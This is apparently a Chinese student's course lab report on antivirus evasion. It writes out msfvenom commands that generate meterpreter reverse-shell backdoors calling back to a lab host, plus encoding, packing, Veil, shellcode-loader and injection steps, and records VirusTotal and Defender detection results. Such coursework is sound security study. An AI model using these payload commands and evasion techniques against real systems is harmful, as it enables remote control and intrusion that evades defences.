20242307 2025-2026-1 《网络与系统攻防技术》实验三实验报告
20242307 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1 基础知识
免杀(Evasion)是指对恶意软件进行技术处理,使其能够绕过杀毒软件(AV)或终端检测与响应系统(EDR)的检测。要做好免杀,必须先了解杀软的检测机制。
1.1 杀毒软件的三大检测机制
- 基于特征码的检测(静态):杀软提取恶意代码中的一段特有字节序列(如文件哈希、特定机器码、字符串),一旦扫描到匹配项即判定为病毒。这是最传统、最快的检测方式。
- 基于启发式的检测(静态推断):不看具体特征,而是看文件“像不像”病毒。例如文件是否加了壳(高熵值)、是否导入了可疑的API组合(如 VirtualAlloc+CreateThread)、是否缺乏数字签名等。
- 基于行为的检测(动态运行):现代 EDR 的重点。在程序运行时监控其动作,如是否修改注册表、是否尝试注入其他进程、是否在内存中申请可执行权限并执行等。
1.2 常见的免杀思路
- 改变特征码:通过编码器(Encoder)、加壳(Packer)、修改源码重新编译等方式,破坏原有的特征码。
- 组件分离与动态加载:将恶意的Shellcode加密存入纯文本或图片中,在本地写一个无害的Loader,运行时才读取并解密代码执行。这样落地文件没有特征。
- 改变行为:使用加密通讯、低频心跳、进程注入等技术降低被行为监控发现的概率。
2 实验内容
- 使用msfvenom生成exe、jar、php等多种格式的后门文件,并对比单次与多次编码的效果。
- 使用UPX对可执行文件进行加壳处理,并在VirusTotal平台测试检出率。
- 使用Veil-Evasion框架生成免杀后门并测试。
- 使用C语言编写Shellcode Loader,实现组件分离与动态加载。
- 在开启杀软(Defender)的Windows 10虚拟机中进行实测,验证免杀效果并记录被拦截的情况。
- (尝试)尝试使用高级注入工具(S-inject)绕过Windows Defender。
3. 实验过程
3.1 第一部分:基础生成与编码对比
在Kali终端中,使用msfvenom生成不同形态的后门文件(LHOST 192.168.94.139,LPORT 4444):
3.1.1 原始EXE
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -f exe -o 20242307_raw.exe
3.1.2 单次编码EXE
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -e x86/shikata_ga_nai -i 1 -f exe -o 20242307_enc1.exe
3.1.3 10次编码EXE
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o 20242307_enc10.exe

3.1.4 Java后门(原始与5次编码)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -f jar -o 20242307_raw.jar
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f jar -o 20242307_enc5.jar
3.1.5 PHP后门(原始与5次编码)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -f raw -o 20242307_raw.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -e php/base64 -i 5 -f raw -o 20242307_enc5.php

3.1.6 进阶对比:PHP 1~10次 Base64 编码测试
使用循环命令 for i in {1..10}; do msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.94.139 LPORT=4444 -e php/base64 -i $i -f raw -o 20242307_php_enc$i.php; done 生成了10个不同编码次数的PHP文件。


3.1.7 VirusTotal测试结果对比
- 20242307_raw.exe:51/71报毒。

- 20242307_enc1.exe:50/71报毒。

- 20242307_enc10.exe:50/71报毒。

- 20242307_raw.jar/20242307_enc5.jar:均为37/64报毒。


- 20242307_raw.php:28/61报毒。

- 20242307_enc1.php到enc10.php:无论编码多少次,报毒数始终稳定在11/61。










3.2 第二部分:UPX加壳测试
尝试对MSF生成的EXE进行加壳:
upx -9 20242307_raw.exe -o 20242307_raw_upx.exe

结果:加壳失败,原因在于MSF生成的文件PE结构非标准,UPX无法解析。
3.3 第三部分:Veil-Evasion免杀实践
在Kali中安装并配置Veil。经历了Python环境报错、更换清华源加速下载、Wine32 依赖缺失等重重困难后,成功启动Veil框架。




生成后门:
use 1
use 7
set LHOST 192.168.94.139
set LPORT 4444
generate





上传至VirusTotal,结果显示37/71报毒。这证明老牌开源免杀框架的模板特征早已被杀软收录。


3.4 第四部分:C语言loader与组件分离
自行编写C语言代码,提取msfvenom生成的shellcode数组,通过VirtualAlloc申请可执行内存,RtlMoveMemory复制代码,最后CreateThread执行。



编译生成 20242307_loader.exe 并上传 VT。
结果:报毒率降至21/71。证明无特征的自写外壳能有效降低静态查杀率。



3.5 第五部分:终极实机测试
将加壳的20242307_loader.exe放入开启Defender的Win10虚拟机。双击运行的瞬间,Defender立刻触发行为监控,弹出“发现威胁”拦截弹窗,并隔离了文件。




3.6 第六部分:拓展尝试——S-inject 注入器
为了对抗行为监控,我尝试了基于APC/线程池注入的S-inject工具。把生成的Base64格式shellcode(shellcode.b64)和目标PID喂给它。但执行瞬间,程序直接报“系统无法执行指定的程序”,Defender同时弹窗报毒。




4. 问题及解决方案
- 问题1:使用msfvenom生成后门时,单次编码与多次编码在VT上的查杀率并没有显著下降,甚至多次编码后文件体积剧增,查杀率依然很高。
- 问题1解决方案:经过测试和分析,现代杀软不仅查原始特征码,还会查“解码器(decoder stub)”的特征。多次编码虽然改变了Payload本体,但外层必须包裹编码器的解密代码,且多次编码会导致文件“熵值(Entropy)”异常升高,极易触发启发式查杀。
- 问题2:使用UPX对MSF生成的后门加壳时,报CantPackException: section size problem。
- 问题2解决方案:MSF生成的PE文件结构不规范,导致标准加壳器UPX无法识别。这也侧面证明盲目加壳在现代免杀中已经行不通。
- 问题3:安装Veil-Evasion时遇到externally-managed-environment报错和极慢的下载速度。
- 问题3解决方案:通过将Kali软件源替换为清华源(TUNA),将下载速度提升至 14 MiB/s;针对Python限制,后续通过--break-system-packages参数强制安装缺失的依赖。
- 问题4:手写的C Loader在VT上查杀率仅21/71,但在实机双击运行时,落地瞬间被Defender拦截。
- 问题4解决方案:这印证了“静态免杀 ≠ 运行时免杀”。Loader执行时调用的 VirtualAlloc(申请RWX内存)和CreateThread是典型的恶意行为链,直接触发了EDR的动态行为监控。对抗行为监控需要更底层的技术(如Syscall间接调用、内存加密等)。
- 问题5:尝试使用S-inject工具绕过Defender,但程序刚执行就被阻断。
- 问题5解决方案:公开开源工具的二进制特征早已被微软云端收录。在未做源码级深度魔改或动态混淆的情况下,直接执行这些工具会被云查杀瞬间秒杀。
5. 后门检测与免杀原理问答(实验要求)
(1)杀软是如何检测出恶意代码的?
杀软主要通过三层机制检测:一是特征码匹配(扫描文件哈希、特定字符串、导入表);二是启发式扫描(分析文件高熵值、可疑API组合判断其“像不像”病毒);三是行为检测(在程序运行时,监控其是否执行了内存注入、修改注册表、异常外连等危险动作)。
(2)免杀是做什么?
免杀(Evasion)是指通过修改恶意代码的形态(如加密、加壳、分离、重写)、改变其运行方式(如使用内存加载、无文件落地),从而绕过杀软上面这三层检测机制的技术,目的是让后门程序能在目标机器上安全落地并长期维持控制。
(3)免杀的基本方法有哪些?
- 改变特征码:使用编码器变形、自定义加壳、换用不同语言(如Go/Nim)重写代码。
- 组件分离:将加密的恶意载荷与执行程序分离,落地时无恶意特征。
- 内存加载(Loader):编写加载器,在运行时才解密载荷并在内存中执行,避免恶意代码落盘。
- 行为对抗:使用Direct Syscall绕过用户态Hook,或使用Sleep Masking混淆内存扫描窗口。
6. 学习感悟与思考
道高一尺,魔高一丈
起初,我以为使用msfvenom加上-i 10多次编码就能大功告成。但通过VT测试,我发现对于EXE文件,编码毫无作用;对于PH 脚本,无论我嵌套1次还是10次 Base64,报毒数都死死卡在11(10)/61。这让我深刻认识到,杀软的特征码引擎会逐层解包,直指最底层的恶意逻辑,单纯的“俄罗斯套娃”毫无意义。
在后半段的实验中,我经历了无数次“落地成盒”。我千辛万苦配好环境生成的Veil后门,一上传就被报了37个毒;我满怀希望手写的C语言Loader,虽然静态免杀降到了 21,但在Windows虚拟机里双击的瞬间,Defender的行为监控依然将我无情拦截。为了挑战windows的defender,我甚至下载了S-inject试图进行APC注入,结果程序连执行的机会都没有就被云端秒杀。
这些失败让我感到挫败,但也让我豁然开朗。我意识到:现代网络安全防御早已不是“单机杀毒软件”的时代,而是“静态特征+云端哈希+启发式引擎+EDR行为监控”的立体纵深防御体系。开源工具(无论是Veil还是S-inject)只要被公开,其二进制特征就已经进入了微软的云端黑名单。
网络安全是一场动态的非对称博弈。对于我们防御方而言,千万不能迷信“免杀工具”的威力;而对于学习安全的学生而言,这次实验让我明白,真正高级的免杀不是改几个特征码,而是对操作系统底层(内存、Syscall、API 解析)的极致掌控。
7. 参考资料
- 《国外计算机科学教材系列Java程序设计与数据结构教程》
- 《《Java学习笔记(第8版)》学习指导
- 《网络与系统攻防技术》课程指导书-0x22_MAL_免杀原理与实践
- 《网络与系统攻防技术》课程指导书-0x22a1_MAL_Veil_Evasion免杀
- VirusTotal威胁情报平台
- MITRE ATT&CK - Defense Evasion战术
- Veil-Framework 官方文档

浙公网安备 33010602011771号